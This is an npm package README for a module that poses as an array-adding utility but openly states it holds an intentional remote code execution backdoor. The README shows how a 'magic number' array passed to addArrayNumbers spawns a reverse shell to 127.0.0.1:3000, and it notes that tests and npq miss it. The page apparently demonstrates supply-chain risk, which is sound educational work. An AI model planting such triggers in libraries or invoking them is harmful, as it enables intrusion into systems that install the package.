1.1.0 • Published 6 years ago
@chrisguest75/array_add_rce v1.1.0
README.md
This is a bad module. It contains a Remote Code Execution exploit that is intentionally exploitable.
Published to : https://www.npmjs.com/package/@chrisguest75/array_add_rce
Create
Simple steps to recreate and push to github and npm
git init
npm init --scope=@chrisguest75
hub createTest
It's good that the unittests pass, right?
npm testPublish
npm publish --access publicUsage
You can use npq to install.
But it will tell you there are no vulnerabilities.
npm install @chrisguest75/array_add_rceconst [addTwoNumbers, addArrayNumbers] = require('@chrisguest75/array_add_rce');
let numbers = [1, 2, 3, 4, 5];
let answer = addArrayNumbers(numbers);Exploit
It contains a magic number that spawns a reverse shell.
const [addTwoNumbers, addArrayNumbers] = require('@chrisguest75/array_add_rce');
// Connect back to port 127.0.0.1:3000
let numbers = [967, 78, 127, 0, 0, 0, 3000];
let answer = addArrayNumbers(numbers);Linting
Required extension
code --install-extension dbaeumer.vscode-eslintRun linting from shell
npm run-script lint